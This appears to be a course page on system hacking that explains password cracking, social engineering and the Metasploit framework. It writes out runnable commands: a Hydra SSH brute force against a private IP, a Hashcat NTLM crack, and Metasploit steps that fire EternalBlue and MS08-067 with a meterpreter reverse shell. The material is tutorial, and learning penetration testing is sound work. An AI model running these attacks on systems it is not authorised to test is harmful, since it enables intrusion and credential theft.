Day 2
System Hacking Techniques
What is System Hacking?
System hacking involves gaining unauthorized access to a system and escalating privileges to control it. Techniques vary from cracking passwords to social engineering.
1. Password Cracking
- Definition: Password cracking is the process of recovering passwords through various techniques.
Techniques:
- Brute-Force Attack: Trying all possible combinations.
- Dictionary Attack: Using a list of common passwords.
- Rainbow Tables: Precomputed hash lookup tables.
Tools for Password Cracking:
-
John the Ripper
- Why: Fast and flexible password cracking tool.
- Command:
john --wordlist=/path/to/wordlist.txt hashfile
-
Hydra
- Why: Brute-force tool for various network protocols (SSH, FTP, HTTP, etc.).
- Command:
hydra -l admin -P rockyou.txt ssh://192.168.1.10
-
Hashcat
- Why: GPU-accelerated password cracker.
- Command:
hashcat -a 0 -m 1000 hash.txt wordlist.txt
-
Rainbow Tables:
- Use precomputed hashes to reverse engineer passwords.
- Tools: Ophcrack, Cain and Abel.
2. Social Engineering
- Definition: Manipulating people into divulging confidential information.
- Types:
- Phishing : Crafting fake emails or websites to capture sensitive data.
- Pretexting : Pretending to be someone trustworthy to acquire information.
- Baiting : This tactic tricks the victim into unintentionally downloading malware into their system or revealing confidential personal or organizational information.
Tools for Social Engineering:
-
SET (Social Engineering Toolkit)
- Simulates phishing attacks and payload delivery.
- Command:
setoolkit
-
GoPhish
- Open-source phishing framework to test awareness.
3. Metasploit Framework
- Definition: Metasploit is a powerful penetration testing framework for system exploitation.
Why Metasploit?
- Automated exploits.
- Post-exploitation features.
Key Features:
- Exploit Module: Search for and exploit vulnerabilities.
- Payload: Deliver commands or backdoors.
Example Attack using Metasploit:
-
Finding an Exploit:
search type:exploit name:windows -
Exploit Target:
use exploit/windows/smb/ms17_010_eternalblue -
Set Payload:
set PAYLOAD windows/x64/meterpreter/reverse_tcp -
Launch Attack:
exploit
Basic Usage:
-
Launch Metasploit:
msfconsole -
Search for Exploits:
search windows/smb -
Use Exploit:
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.10
exploit